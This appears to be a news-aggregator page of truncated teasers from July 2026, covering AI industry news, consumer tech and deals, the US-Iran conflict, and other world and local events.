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The nationwide start-up incubation programme, SHITIJ 2.0, sponsored by the ICAR-National Agricultural Innovation Fund (ICAR-NAIF), was inaugurated at ICAR-Central Plantation Crops Research Institute (ICAR-CPCRI), Kasaragod, through virtual mode by Dr. V.B. Patel, Additional Director General (Fruits and Plantation Crops), ICAR. The second edition of SHITIJ is being implemented through a nationwide network of seven hub institutes and their associated spoke institutes. ICAR-CPCRI has been designated as one of the seven hub institutes and will coordinate the programme through six spoke institutes in the thematic area of value chains in plantation crops,…

The AI industry is not quite experiencing a DeepSeek 2.0 moment, but it feels very close. The leading Chinese AI labs have been on a roll lately, releasing a series of almost cutting-edge open-source models. Z.ai released GLM 5.2 in June, Moonshot AI released Kimi K3 last week, and Alibaba released Qwen 3.8 this Monday. Silicon Valley and Washington started talking about the models immediately, especially K3, which is widely seen as the best of the bunch. David Sacks, a venture capitalist and AI adviser to President Donald Trump, called the performance of Moonshot’s model “concerning.” Earlier this week, Commerce Secretary Scott Bessent suggested the…

Travis Kalanick’s robotics company, Atoms, has raised $1.7 billion in a funding round led by Andreessen Horowitz. Ben Horowitz will join the company’s board following the investment. Bain Capital, Fifth Wall, and others participated in the round. Perhaps most notably, Uber also joined the funding round, re-connecting Kalanick with the company he founded — and the same company that pushed him out as CEO in 2017 following complaints of sexual harassment, discrimination, and a toxic workplace. Atoms is essentially a rebranded holding company created atop the project Kalanick has been working on since he resigned from Uber, a ghost kitchen play called…

I picked up Seed when I saw the early access key offer in my inbox on a bit of a whim. I vaguely remembered hearing about this game years prior, and being vaguely interested in its promise of an MMO sandbox life-sim sort of situation in which everyone’s dumped in a world together and has to build a society. I enjoy a life sim, so I gave it a whirl. The concept on its own is solid enough: you join a society and build a world from scratch, collaborating with those around you to share resources while developing your own skills and finding your niche in the community. I let Seed select a society for me (shout out to Old Greenhollow) and designed a…

TL;DR Monday.com plans to cut about 620 jobs, 20 percent of staff, as it restructures around its AI-driven growth strategy and flatter organisation Monday.com is cutting roughly 20 percent of its global workforce, about 620 people, as the Israeli project management company restructures around what it calls its AI Work Platform. The company disclosed the plan in a Form 6-K filed with the US Securities and Exchange Commission on Tuesday, citing the need to support a leaner operating model aligned with its AI-driven growth strategy. Co-founder and co-CEO Eran Zinman published a note to staff on LinkedIn calling it the most painful decision the company…

Hyundai Motor Company’s plan to put humanoid robots to work by 2028 is not part of current negotiations with striking South Korean autoworkers, according to the company. The automaker is disputing news reports that partial labor strikes by the Hyundai Motor union at the world’s largest automotive plant in South Korea were spurred by concerns about the company’s planned deployment of humanoid robots in the United States starting in 2028. A company statement shared with Ars describes the union’s demands as focusing on compensation-related issues such as wage increases, bonuses, and an extension of workers’ retirement age. “Potential deployment of robots…

Anthropic will provide Claude AI models to companies participating in the UK Financial Conduct Authority’s next Supercharged Sandbox cohort, as the regulator pushes to test AI applications in financial services.

Nvidia CEO Jensen Huang thinks that American companies should be allowed to use Chinese AI models, even as Washington is trying to ban them. When Axios co-founder Mike Allen asked Huang in an interview if Americans companies should be allowed to use Chinese AI models, Huang responded with “absolutely.” The answer comes right after Chinese firm Moonshot AI released a 2.8T open-weight model called Kimi K3, which — although it isn’t as powerful as frontier models like Fable 5 — is comparable to GPT 5.5 and Claude Opus 4.8 while costing just a third of these models. Go deeper with TH Premium: AI and data centers (Image credit: Microsoft) One of the…

Israeli workplace software maker Monday.com is laying off hundreds of employees as part of a restructuring plan to refocus its investments around AI projects. The company said it is reducing its headcount by 20%, or about 630 staff, to “support a leaner, more focused operating model” as it concentrates on its AI Work Platform. Monday.com earlier this year pivoted hard towards making its AI platform a core offering, redesigning its entire product around the belief that its enterprise customers increasingly want AI agents to work together with their employees. The AI Work Platform currently comprises a no-code app builder, a customizable AI agent, a…

TEHRAN- “On the Edge” by Swiss writer Markus Werner has been published in Persian. Bidgol is the publisher of the book translated by Mohammad Hemmati. “On the Edge” is a psychological drama, masterfully paced exploration of two men who, despite their polar opposite lives, discover a chilling commonality. Thomas Clarin is a successful divorce lawyer whose career has left him cynical and distrustful of lifelong commitment. He prefers a lifestyle of fleeting romance and detachment, avoiding the emotional weight of marriage. In stark contrast, Thomas Loos is a grief-stricken widower, consumed by the profound loss of his wife and an overwhelming…

The Nigerian Communications Commission (NCC) has called for deeper collaboration among African Telecommunications and Communications Regulators to strengthen the use of data, evidence and market intelligence in driving more effective and responsive regulation across the continent. Speaking at the Heads of Regulators Roundtable during the African Telecommunications Union (ATU) Conference of Plenipotentiaries (CPL-26) in Abuja, Dr. Maida said communications regulation has become increasingly central to economic growth, digital transformation, and national development across Africa. He observed that although regulators operate within different market…

TL;DR Arrakis raised $38M led by Blossom Capital and Accel to build an AI operating system for industrial sectors like aerospace and logistics Arrakis, a London and Paris startup building what it calls an AI operating system for industrial companies, has emerged from stealth with $38 million in total funding and a thesis that the biggest returns from artificial intelligence will come from factories and supply chains, not office software. The company raised a $30 million Series A led by Blossom Capital, on top of a seven and a half million dollar seed round led by Accel that closed in March. The Series A values Arrakis at $140 million post-money,…

Andy Jassy, chief executive officer of Amazon.com Inc., speaks during an unveiling event in New York, US, on Wednesday, Feb. 26, 2025. Jassy said Amazon is in the process of building over 100 generative artificial intelligence (AI) features. Michael Nagle \| Bloomberg \| Getty Images Amazon is laying off some employees in its unit focused on artificial general intelligence, the company confirmed Wednesday, as it continues to cut jobs while pouring money into AI. The company declined to disclose how many staffers were affected, or which parts of the AGI organization were exposed to the cuts. The AGI unit is focused on building AI models, and also…

Maybe it was a graduation or a big birthday five years ago. Or that one Mother’s Day surprise dinner, or that video from a Thanksgiving get-together with the extended family. Or maybe it was just a particularly good selfie with perfect lighting. Precious moments can easily get buried deep in the depths of a camera roll, and finding that one pic you need right now can quickly devolve into a hunt-and-peck from hell. Search features native to smartphones can only do so much, and the way media is organized is often up to the whims of developers and mandatory updates. Yes, you could type “dog” or “beach” into the image search bar in your phone‘s media and…

Cisco’s new Antares models are small enough to run on your own machines. And, it claims, they beat Google’s Gemini and rival GPT-class systems at finding bugs. It is releasing them open-weight, though it is vetting who gets access. The pitch from Cisco is a quiet rebuke to the frontier-model arms race. You do not need a giant, pricey AI to hunt for software bugs. And you should not have to ship your source code to OpenAI or Google to do it. Cisco’s Foundation AI team has released two open-weight security models, Antares-350M and Antares-1B, built to find known vulnerabilities buried in existing codebases. They sit on Hugging Face for the community,…

Dimitri Bertsekas PhD ’71, the Jerry McAfee (1940) Emeritus Professor in Engineering in the Department of Electrical Engineering and Computer Science (EECS), a principal investigator in the Laboratory for Information and Decision Systems (LIDS), and the Fulton Professor of Computational Decision Making at Arizona State University, died on June 3 at his home in Belmont, Massachusetts. He was 83 years old. Over the course of his career, Bertsekas’ research spanned, and had a definitive influence upon, several fields, including optimization, control, large-scale computation, reinforcement learning, and artificial intelligence. He served as a consultant…

New safeguards focused on “active monitoring” and “improved alignment” helped drastically reduce unintended actions by its models, OpenAI said. New safeguards focused on “active monitoring” and “improved alignment” helped drastically reduce unintended actions by its models, OpenAI said. Credit: OpenAI “If this doesn’t convince you that misalignment risks are going to be a key concern going forward, I don’t know what will,” OpenAI Safety Researcher Micah Carroll wrote on social media regarding the incident. This is far from the first time an AI model has gone to great lengths to find unintended ways of passing a benchmark. In a report released this…

Advanced Micro Devices (AMD) will sell Anthropic tens of billions of dollars’ worth of AI servers and invest as much as $5bn in the Claude maker, in a deal that would strengthen its foothold in a market dominated by rival Nvidia. The announcement on Wednesday marks the latest so-called circular deal in the AI industry, where chipmakers invest in AI firms that are among their biggest customers. Nvidia has been in talks to invest $30bn in ChatGPT creator OpenAI. Buying AMD chips would secure Anthropic much-needed AI computing capacity. The startup has emerged as one of the leaders in Silicon Valley’s artificial intelligence race, thanks to strong…

For years, consumers have discovered products and made purchase decisions by using search engines, websites, or recommendations from family and friends. Enter artificial intelligence. The technology that has already changed so much, is also transforming shopping. Research by PwC has found that AI tools have become the third most-used channel for product research among consumers, behind search engines and retailer websites or apps. PwC's survey of 1000 consumers found 44 percent said AI had reduced their use of search engines when researching purchases. PwC partner Phil Wheeler said it was an important finding, and highlighted the start of an evolution…

The user asks “what is the effective date of this policy?”. Retrieval returns five candidate line-windows and passes them all to the LLM in one prompt. The LLM reads all five to extract the same date the first candidate already had. Chunks two to five were signatures, footnotes, and a paragraph about historical dates. Paid for nothing. Send the top-1 first, ask the LLM if that is enough, and stop when it says yes: sequential feeding cuts the token cost by 80 % on this class of question. The rest of the article catalogues where sequential wins, where a single-call over all K is the right default, and how the question parser dispatches between the two.…

A number of Apple products got more expensive last month, so we’re happy to find deals wherever and whenever we can. If you’re searching for a high-end iPad, one of the more notable deals currently happening is on the 13-inch iPad Pro M5 with 512GB of storage. Normally $1,699, it’s $150 off at Amazon, costing $1,549.99. It’s $100 off at Best Buy. This is the most premium iPad that Apple sells, with impressive performance from its M5 processor, a gorgeous OLED screen, up to 60W of fast charging, and support for the Apple Pencil Pro and Magic Keyboard. Read our iPad Pro (2025) review. There’s also a deep discount on some configurations of the 11-inch…

Code found in an iOS 27 beta would allow Apple to put a financed iPhone in “Restricted Mode” if it detects any missed payments, 9to5Mac reports. The finding follows a story from Bloomberg earlier this week claiming Apple is preparing to launch a new “Apple Upgrade” financing program for leasing new devices. iPhones in “Restricted Mode” would reportedly lose access to nearly all apps, except for basics like the Phone app, Settings, and the App Store. It uses a new “App Managed Features” system that allows financing or partner apps to continually check if a financed device is in good standing. According to 9to5Mac, the code also includes a new “Partner…

We are getting a blast of notable Apple deals this week as part of the Black Friday in July festivities, starting with some of the best AirPods deals in months: Those offers join Amazon low pricing on the 2026 AirTag 2 from $22 each, a sizable 40% off the official iPhone Air MagSafe Battery, all-time low pricing on Apple Magic Keyboard, ongoing discounts on Apple Watch Series 11 from $299, and as much as$400 off M5/Pro MacBook Pro configs. Everything awaits in detail down below. July Black Friday Apple deals AirPods AirTag 2 iPhone 17 Pro/Max 1TB iPhone 17 Pro Cosmic Orange $1,279 (Reg. $1,499 new) 1TB iPhone 17 Pro Deep Blue $1,279 (Reg. $1,499 new)…

Get the Popular Science daily newsletter💡 Breakthroughs, discoveries, and DIY tips sent six days a week. By signing up, you confirm you are 16+, will receive newsletters and promotional content and agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time. Airplane seats can feel ridiculously small. It’s gotten to the point where I, a small woman of average height, have trouble even reaching under the seat in front of me. But have airplane seats always been so dang squished? The short answer, which we explore in a new episode of Popular Science’s Ask Us Anything podcast, is a resounding no. Ask…

Colombia · Business Key Facts —Estimated 2025 tourism revenue. Close to COP$9 trillion (approx. US$2.3 billion), based on card transactions and excluding cash. —Visitor growth in H1 2025. 954,632 visitors arrived, a 12.4% increase from the same period in 2024. —Top source market. The United States remained the leading country of origin for foreign tourists. —Main economic beneficiaries. Lodging, gastronomy, local transport, shopping, and entertainment sectors. —Short-term rental impact. In 2024, 85% of Airbnb-linked spending in Colombia stayed in neighborhood businesses, not with hosts. Medellín generated an estimated COP$9 trillion (approximately…

Google’s Pixel 11 series has leaked pretty extensively at this point, but another new leak has just hit the web to show off some new angles to the device – you just have to look past the nonsense surrounding it. @OnLeaks shared new renders of the Pixel 11, Pixel 11 Pro, and Pixel 11 Pro XL via MyMobiles.com. The images themselves look legit, matching up perfectly with the images we spotted on Amazon earlier this month. The colors themselves are not new, but we do get some new angles here, including the usual off-angle shot that shows the phone from front and back. Pixel 11 Pixel 11 Pro/XL The only notable detail here is that it looks like Google might…

This morning, Garmin announced it has acquired TrainingPeaks and TrainHeroic. These platforms are major players in the endurance and strength-training world, primarily for the quality of their training plans. This news is already sparking a lot of speculation—and skepticism—among athletes and coaches who've built their training around these tools. Here's what this acquisition might mean for the way you train. Why Garmin acquired TrainingPeaks According to Garmin's official press release, this acquisition “strengthens Garmin's fitness ecosystem with customizable coaching experiences for endurance, strength, and performance-focused athletes across every…

Line-of-sight to the sky? Soon it won’t be a barrier Today, Starlink has the limitation that it requires line-of-sight to the sky, while people do, of course, often use their mobile phones inside their homes, offices and vehicles. It was this limitation that prompted the Commerce Commission to lean on One NZ to withdraw its original “100% coverage” Starlink marketing. But Gartner senior analyst Khurram Shahzad – a specialist in the satellite market – notes that one of Starlink’s emerging rivals, AST SpaceMobile, plans to use low-band frequencies for a satellite-to-mobile signal that will penetrate indoors. You can think of each of its “BlueBird”…

The ‘soft decluttering’ method is the easiest way to organise your home Jolie Kerr July 23, 2026 — 5:00am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA When we talk about decluttering and organising, large-scale undertakings such as cleaning out the garage or colour-coding our wardrobe spring to mind. But sometimes just thinking about tackling those jobs can feel exhausting, creating a barrier to success even for people who are highly motivated to improve their homes and their lives by exerting control over their belongings. To avoid feeling overwhelmed by such projects, Jane Abrahams and…

TAMPA, Fla. — The Federal Communications Commission voted July 22 to push satellite operators out of more C-band spectrum for a 5G auction next year, while approving a licensing overhaul aimed at accelerating the commercial space economy. The upper C-band order sets up a July 2027 auction of 160 megahertz in the 3.98-4.14 gigahertz band, following a sale of 280 MHz of lower C-band in 2020 that generated more than $80 billion from telcos such as Verizon, AT\&T and T-Mobile. Clearing lower and upper C-band frequencies would create a 440 MHz “super band” for terrestrial wireless networks, the FCC said, with services slated to begin in the top 75 U.S.…

Rumors have been swirling for several months about Apple's plans to add an OLED touchscreen to its MacBook Pro, but Bloomberg reports nearly all the company's other laptops and desktops are receiving chip upgrades and, in some cases, design changes within the next year. The highlight of the bunch is a new version of the MacBook Neo, which will reportedly use the A19 Pro chip first introduced on the iPhone 17 Pro, come with more RAM and be available with new colors. In the more immediate future, Bloomberg writes that Apple has prepped updates to the iMac and entry-level 14-inch MacBook Pro for this fall, with a likely focus on chip bumps to the M5 chip…

Samsung announced five new products during its Galaxy Unpacked event. Three of those are the new flagship smartphones: the Galaxy Z Fold 8, Z Fold 8 Ultra, and Z Flip 8. Samsung already has them up for pre-order, but Amazon launched its own pre-order deals, which are objectively better. You can get an Amazon gift card up to $350, while Samsung is offering a max of $200 in Samsung credits. And if you're looking to switch to T-Mobile, you can get a Galaxy Z Fold 8 on them. You can read more details on that deal here. The Galaxy Z Flip8 doesn't bring much change If you were expecting a shiny new toy from the Z Flip 8, you might be disappointed—it's not…

Before you disable Google Play Protect, here's what you need to know Disabling this security feature grants more freedom, but is it worth the risk? Eza_Nanda/Shutterstock Google launched Play Protect in 2017 to serve as a free, built-in protection system for your Android device. It's your first line of defense, there to shield you from harmful apps even if you don't have a third-party antivirus program installed. The company said Play Protect detected over 27 million new malicious apps in 2025 and either warned users about them or prevented them from running. Play Protect doesn't just check apps from the Play Store before you download them; it also…

Apple today released a new update for Safari Technology Preview, the experimental browser that was first introduced in March 2016. Apple designed ‌Safari Technology Preview‌ to allow users to test features that are planned for future release versions of the Safari browser. ‌Safari Technology Preview‌ 248 includes fixes and updates for Accessibility, CSS, Editing, Forms, Images, JavaScript, Media, Navigation, Networking, Rendering, SVG, Scrolling, Security, Storage, Web API, Web Inspector, WebDriver, and WebRTC. The current ‌Safari Technology Preview‌ release is compatible with machines running macOS Tahoe and macOS Golden Gate, the newest version of…

iOS 27 brings a variety of new features to Apple Wallet, including one exclusive to Apple Card that I wish every card offered: a hub for all recurring transactions. iOS 27 shows Apple Card recurring transactions in one place, making it easy to track subscriptions Subscriptions are increasingly popular in the digital-centric world. As such, it can be easy to lose track of everything you’re subscribed to. While plenty of apps and services offer to keep track of your subscriptions, giving third parties access to your financial info can spark privacy concerns. Fortunately, those solutions soon won’t be needed for Apple Card. In iOS 27, the Wallet app…

Round up school supplies now while deals last. (iStock) Back-to-school shopping doesn't have to break the bank. Save on classroom and dorm room essentials, from HP laptops for up to $200 off to dry-erase markers for just $9. Whether a student in your life is starting elementary school or heading off to college, these deals can help you check every item off your list. Editors' picks Best overall backpack: JanSport backpack Best laptop: HP Stream 14-inch laptop Best dorm purchase: Mesh shower caddy Best lunch box: Bentgo lunch box and bag set Best value buy under $25: Crayola markers, crayons and colored pencils set Best teacher pick: Expo dry-erase…

As social media has evolved from a place to connect with friends into large-scale entertainment platforms, a startup called Yope is quietly building what it believes will be the future of online connection: social networking with no algorithms, no ads, and no public content. Yope’s app, now backed by a $12.3 million seed round led by Northzone, is taking on tech giants like Facebook, TikTok, Snapchat, and Instagram by building a social platform centered on what it refers to as “micro communities” — or small groups where friends and family interact in private, sharing photos, videos, messages, and soon, playing games. The idea of building…

Samsung Galaxy Z Fold 8 vs Fold 8 Ultra: Which new foldable is better for you? Comparing the features of Samsung's two new larger foldables. Sam Rutherford for Engadget Samsung introduced its latest line of foldables at Galaxy Unpacked in London, and this year's series includes a new Ultra variant. The Samsung Galaxy Z Fold 8 Ultra, which starts at $2,099.99, is like the step-up to the Z Fold 7 while the Z Fold 8, starting at $1,899.99, marks a new form factor with a shorter and wider footprint that some might prefer. If you're itching to get your hands on one of these new foldable phones, you now have two models from which to choose (alongside the…

Save on Barefoot Dreams blankets, Le Creuset cookware, La Mer skin care and more. (Nordstrom) Welcome to your weekly shopping guide, specifically curated by the FOX News Deals team FOX News Deals may be compensated for or earn a commission if you buy through our links. Treat yourself to the Barefoot Dreams CozyChic throw blanket while it's on rare sale during Nordstrom's Anniversary Sale. The incredibly soft and lightweight knit adds warmth and texture to your couch or bed. Choose from taupe, navy, pink or light green while it's 40% off. READ MORE:40 Nordstrom Anniversary Sale deals actually worth buying Save on this super-soft Barefoot Dreams…

Exercise is a healthy and, one might argue, necessary part of our lives. The guidelines from public health organizations tell you to aim for at least 150 minutes of “moderate” exercise each week, and that each minute of “vigorous” exercise counts double. That raises the question: What the hell is “moderate” exercise? How do you know when you’re doing it? Moderate exercise is sometimes conflated with "zone 2" exercise. These two things aren't exactly the same, but they do overlap a bit. I'll get into the difference below. Moderate exercise includes activities like walking and casual bicycling, and it counts whether you think of it as a workout or not.…

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Northern Syria’s Kobane, or Ayn al-Arab, was a flashpoint city during the Kurdish fight against the Islamic State (IS) group nearly a decade ago. Today, it’s at the heart of the Syrian government’s bid to integrate the northern Kurdish majority region and their fighters. FRANCE 24’s Wassim Nasr had a rare opportunity to witness the integration process.

Chile · Defense Key Facts —What is UNITAS? The longest-running annual multinational maritime exercise in the world, conceived in 1959 and sponsored by U.S. Southern Command. —Who is hosting 2026? Peru is the host nation for UNITAS 2026, with the planning conference concluding in Lima on March 5, 2026. —Which countries are participating? Eleven nations: Peru, the United States, Argentina, Bolivia, Brazil, Chile, Colombia, the Dominican Republic, Ecuador, Guatemala, and Panama. —What will the exercise cover? Maritime, amphibious, Amazon, cyber defense, and highlands training phases focused on interoperability and humanitarian assistance. —What is the…

Rep. Josh Gottheimer, D-N.J., weighs in on New York City Mayor Zohran Mamdani's controversial statements regarding Israeli Prime Minister Benjamin Netanyahu and accusations of war crimes. Gottheimer criticizes Mamdani for alleged 'double standards' and aligning with anti-American and anti-democratic views. The segment also covers a New Jersey voting integrity concern, where over 6,000 non-citizens were wrongly added to voter rolls due to a software error, raising questions about election security. NEWYou can now listen to Fox News articles! Rep. Josh Gottheimer, D-N.J., said Wednesday he does not consider New York City Mayor Zohran Mamdani a Democrat,…

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By Jonathan Landay, Gram Slattery and Timour Azhari WASHINGTON/RIYADH, July 22 (Reuters) - Iranian drone attacks on CIA facilities in the Gulf have prompted U.S. intelligence analysts to investigate whether Russia assisted by providing targeting information or advanced drone technology, said four people familiar with U.S. intelligence. These people, who spoke on condition of anonymity to discuss national security matters, said U.S. intelligence officials have not yet reached firm conclusions about the possible Russian involvement in the attacks on CIA facilities. But they cited the strikes' effectiveness and apparent precision, as well as Russia's…

(ATTN: ADDS more info in paras 4-6) By Song Sang-ho WASHINGTON, July 22 (Yonhap) -- U.S. President Donald Trump warned Wednesday that the United States will bomb an Iranian bridge or power plant whenever the Islamic Republic fires at a vessel in the Strait of Hormuz, amid growing concerns over a potential return to full-scale war between the two countries. Trump made the remarks in a social media post after he threatened last week to "knock out" Iran's power plants and bridges unless Tehran returns to the negotiating table to negotiate an end to the Middle East conflict. "From this point forward, any time the Islamic Republic of Iran shoots at a ship…

Khalil al-Hayya, the new leader of Hamas, has issued a televised address to the “steadfast and patient Palestinian people”, pledging to rebuild Gaza and alleviate the suffering of its people, free political prisoners held in Israel, and unite Gaza, the West Bank and Jerusalem in a single “free and proud Palestine”. Speaking at a lectern in a suit jacket and open-necked shirt, with the flags of Palestine and Hamas behind him, al-Hayya said in his speech broadcast on Wednesday by Hamas-run Al-Aqsa TV that the group would resist attempts to force Palestinians out of Gaza, and thanked the countries trying to end Israel’s genocidal war. Recommended Stories…

Nearly two weeks after the Nigerian military announced that its troops had killed a media operative of the Islamic State West Africa Province (ISWAP) during a night attack in Borno State, it released screenshots from a video it said showed the terrorist group acknowledging the man’s death. The military identified the slain operative as Abu Salim al-Barnawi, describing him as a former terror commander who later became one of ISWAP’s chief photographers and propaganda operatives. It argued that the obituary released by the group demonstrated the growing pressure being mounted by troops under Operation Hadin Kai, a joint task force in the North-east. The…

President Donald Trump on Wednesday attended the dignified transfer of the remains of four service members killed in Iranian attacks this month after hostilities ramped up following the collapse of the ceasefire. Subscribe to read this story ad-free Get unlimited access to ad-free articles and exclusive content. The four service members being flown from the Middle East to Dover Air Force Base were 28-year-old Angel S. Rampersad of New York, 30-year-old Michael Emmanuel Swinton of North Carolina, 25-year-old Tyler James Feehan of Hawaii and 19-year-old Isabella Gonzales of Texas. Dignified transfers are some of the most solemn occasions for presidents,…

Brazil · Defense Key Facts —Agreement signed A memorandum of understanding was signed on 22 July 2026 at the Farnborough International Airshow. —Parties involved The deal links Embraer with the UK Department for Business and Trade (DBT). —Core focus It targets aerospace innovation, R\&D, engineering, and expanding supply-chain opportunities. —UK footprint Embraer has operated in the UK for over 45 years and nearly doubled its business volume with British firms via earlier financing. —Broader package The UK announced the partnership alongside a £600 million (US$3.04 billion) aerospace package supporting greener air travel. Embraer, the Brazilian…

More than 1,000 people have died in the Ebola outbreak in Congo, according to Africa’s top health body, a grim toll in the fastest Ebola outbreak in history, as conflict, community resistance and an uneven response fuel its spread. Speaking at a health summit in Ghana on Wednesday, Dr. Jean Kaseya, director-general of the Africa Centres for Disease Control and Prevention, said 1,031 deaths have been confirmed. “These are people dying. They are dying because we don’t have vaccines, we don’t have medicine, we don’t have funding,” he added. The latest update from Congo’s Ministry of Health showed that as of Monday, 2,473 cases had been recorded in the…

In Odesa, police bomb disposal experts defused the explosive payload of a Russian drone that had crashed into a building but failed to detonate. This was reported by the National Police of Ukraine, according to Ukrinform. VIDEO According to officials from the Explosive Ordnance Disposal Unit, on the morning of July 22, during a drone attack by Russian forces on the city, debris from the drone damaged the roof of a building and fell into one of the rooms. During the inspection, bomb disposal experts discovered an unexploded warhead containing more than 50 kilograms of explosive material, which posed a deadly threat to people. They carried out…

The House of Representatives has urged the federal government to adopt a strategic National Drone Industrialisation Policy to strengthen Nigeria’s defence manufacturing capacity and reduce the country’s dependence on imported unmanned aerial vehicles (UAVs). The resolution followed the adoption of a motion sponsored by Ademorin Kuye (APC, Lagos) during plenary on Wednesday. Presenting the motion, Mr Kuye said Nigeria continued to face persistent and evolving security threats, including terrorism, banditry, kidnapping, insurgency and pipeline vandalism, which had placed sustained pressure on the operational capacity of the Armed Forces and other…

The Trump administration’s cuts to the largest global H.I.V. program last year resulted in sharp drops in both prevention efforts and treatment for the people most at risk from the disease, according to the first large survey of organizations that had received the funds. The findings show a grimmer picture of the impact of the cuts than the State Department’s data, released in April, which seemed to suggest that the program had helped to treat about as many people last year as it had in 2024. To comply with the administration’s policies, the new survey, conducted by the H.I.V. charity amfAR, found, three-quarters of the organizations stopped providing…

TEHRAN – Iran's Foreign Ministry spokesman Esmaeil Baqaei has sharply criticized Kuwait following US attacks on Iran that Tehran says were launched from Kuwaiti territory, accusing the Persian Gulf state of betraying decades of Iranian goodwill and igniting widespread anger in the Islamic Republic. In a post on X, Baqaei recalled Iran's assistance to Kuwait after the 1991 Persian Gulf War, when Tehran dispatched a team of 47 oil industry experts at the request of the Kuwaiti government to help extinguish burning oil wells left ablaze by retreating Iraqi forces. He said the Iranian specialists successfully brought 28 wells under control in Kuwait's…

MANILA, Philippines — Philippine Airlines (PAL) continued its buying spree at the Farnborough International Airshow, signing a deal with Rolls-Royce to supply the engines for up to 15 new Airbus A350-1000 aircraft, a day after announcing its first Boeing order since 2007. The flag carrier, led by tycoon Lucio Tan, signed an agreement on the purchase—consisting […]...Keep on reading: PAL orders Rolls-Royce engines

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Trump has faced intense political pressure to end the conflict, and critics have pointed to the cost, which Pentagon chief Pete Hegseth said on Tuesday had soared to US$37.5 billion. But Trump on Wednesday rejected polls showing the war was unpopular with voters as he headed to an airbase for the return of the remains of three US troops killed in recent Iranian attacks. "Americans don't want high gasoline prices but they're not against the war," he said. Brent Crude, the global oil benchmark, briefly topped US$95 a barrel for the first time in six weeks on Wednesday. Crude futures later shed some of the gains, but were still up about three per cent.…

The head of Israel's Mossad intelligence agency traveled to Washington two weeks ago to discuss the Iran war, in his first visit to the US capital since taking office, Axios reported on Wednesday, citing two unidentified sources with knowledge of the situation. He met with CIA Director John Ratcliffe and White House officials, the report said.

Open this photo in gallery: Wildfire damage at Collins First Nation, a small, remote Ojibwa community located in northwestern Ontario on Wednesday.Chris Young/The Canadian Press Ontario’s Ministry of Natural Resources is listing more than 180 wildfires as active this morning in Ontario’s north, including 12 that had been sparked in the last 24 hours. Early estimates suggest the flames have ravaged more of the province’s forests this season than any previous year on record, burning through more than 7,250 square kilometres so far. Most of the fires in the province have burned in the last 10 days, and forced more than 1,800 people from their homes.…

Three people were killed and five others injured in a gun attack on a Karachi-bound passenger bus, while a bridge on the National Highway was damaged in an explosion in the Khud Kocha area of Mastung district on Wednesday, suspending traffic between Quetta and Karachi for several hours. Citing the deteriorating security situation, the Balochistan Home Department imposed an indefinite curfew in Khud Kocha sub-tehsil of Mastung district from 9pm on Wednesday. Babar Yousafzai, spokesperson for the Home Department, said the curfew would remain in force until further orders to maintain peace and public safety. Residents were not allowed to leave their…

Wild moment shirtless driver leaps head-first off bridge after being pulled over for speeding by police A driver in Missouri leapt head-first off a bridge after being pulled over by police in a bizarre incident captured on dashcam. Stone County Sheriff’s deputies attempted to stop Gavin Thor Lundgren, 26, in Kimberling City in the early hours of Saturday (July 18) after he was clocked doing 75mph in a 45mph zone. After leading them on a chase, Lundgren slowed down, exited his car and jumped off the Kimberling City bridge into the water below, leaving his driver’s license in the vehicle. Lundgren allegedly headbutted two officers while they were taking…

As many as 76 farmers who contributed their land to the Pochampalli SIPCOT in Krishnagiri have been compensated only ₹14,000 to ₹17,000 per acre, instead of the ₹43,000 per acre as declared in the records of SIPCOT, according to a survey released here on Wednesday. A total of 215 persons were interviewed in the survey conducted by the Forum for Indian Women Intellect (FIWI) in 18 villages adjacent to the SIPCOT complex. Led by its founder and retired IAS officer P. Sivakami, the forum said there was a need to monitor and audit the SIPCOT complexes, as they affected the quality of life. The survey said most of the respondents suffered from health…

By Staff The Canadian Press Posted July 22, 2026 3:02 pm 1 min read Descrease article font size Increase article font size The Transportation Safety Board of Canada says it could not determine the exact cause of a freight train derailment in northern Quebec last December. The agency says the derailment likely happened after a rail broke under stress from sharp temperature swings and the earlier passage of another train with a wheel defect. Get daily National news Get daily Canada news delivered to your inbox so you'll never miss the day's top stories. The train was carrying iron ore and derailed on Dec. 28 about 60 kilometres north of Sept-Îles, on…

The engineers entered the ship to investigate the source of the liquid and collapsed. The second engineer regained enough consciousness to crawl to safety while the superintendent and second mate put on breathing apparatus and rescued the chief engineer, the report said. All affected were hospitalised with symptoms of hydrogen sulphide exposure and later recovered, the commission said. ‘Unpleasant odour’ The report, led by Chief Commissioner David Clarke and supported by Deputy Chief Commissioner Stephen Davies Howard, plus commissioners Paula Rose and Bernadette Roka Arapere, said the “unpleasant odour” and its effect on people meant the presence of…

The southbound off ramp at Mackay's Crossing on the Kāpiti Coast north of Wellington has now reopened after a crash on Thursday. Emergency services were called to a single vehicle crash near the eastern end of Whareroa Road at 5.13am. Fire and Emergency said firefighters used cutting gear to help remove one person from the vehicle. A police spokesperson said one person suffered moderate to serious injuries while up to three other people suffered moderate injuries.

A retired female teacher was enjoying a walk at a local school when she was 'violently struck' and killed by a 45-foot pole, her family alleges in a new lawsuit against the district. Paula Budin, who was 73 at the time, died on December 5, 2024, after she was struck by a pole while walking at Roxborough High School's track in Philadelphia, according to a civil complaint obtained by the Daily Mail. Her sister, Joyce Siegel, filed a lawsuit in the Philadelphia Court of Common Pleas last Friday, alleging that Budin's death was a result of negligence by the School District of Philadelphia and the company hired to inspect the school's facilities. Budin was…

Imagine this: it’s two in the morning, and you’re dancing in a nightclub that’s packed to the rafters. The DJ is playing a great set. Your friends are dancing next to you. The night feels like it couldn’t get better. Then nature calls. You head to the bathroom and are confronted by a nightmare. The taps are dry. The toilets are backed up. And you desperately need to pee. Welcome to my Saturday night in Selby. The industrial suburb in Johannesburg is home to many of the city’s factories and a thriving underground music scene. I’ve previously reported on how the crisis has affected one of those industries and have now personally experienced…

Death toll from blast at Indian hydroelectric project rises to 20 people Rescuers say flooding and toxic gas in the collapsed tunnel make it unlikely any remaining trapped workers survived. Published On 22 Jul 202622 Jul 2026 The death toll from a gas explosion that caused a tunnel to collapse at a hydroelectric project under construction in the remote northeastern Indian state of Sikkim has risen to at least 20 people. “Out of the 25 who were trapped, 13 bodies have been recovered so far,” said Rajiv Roka, director of the Sikkim State Disaster Management Authority. “The rescuers have also seen seven to eight more bodies inside, but they have not been…

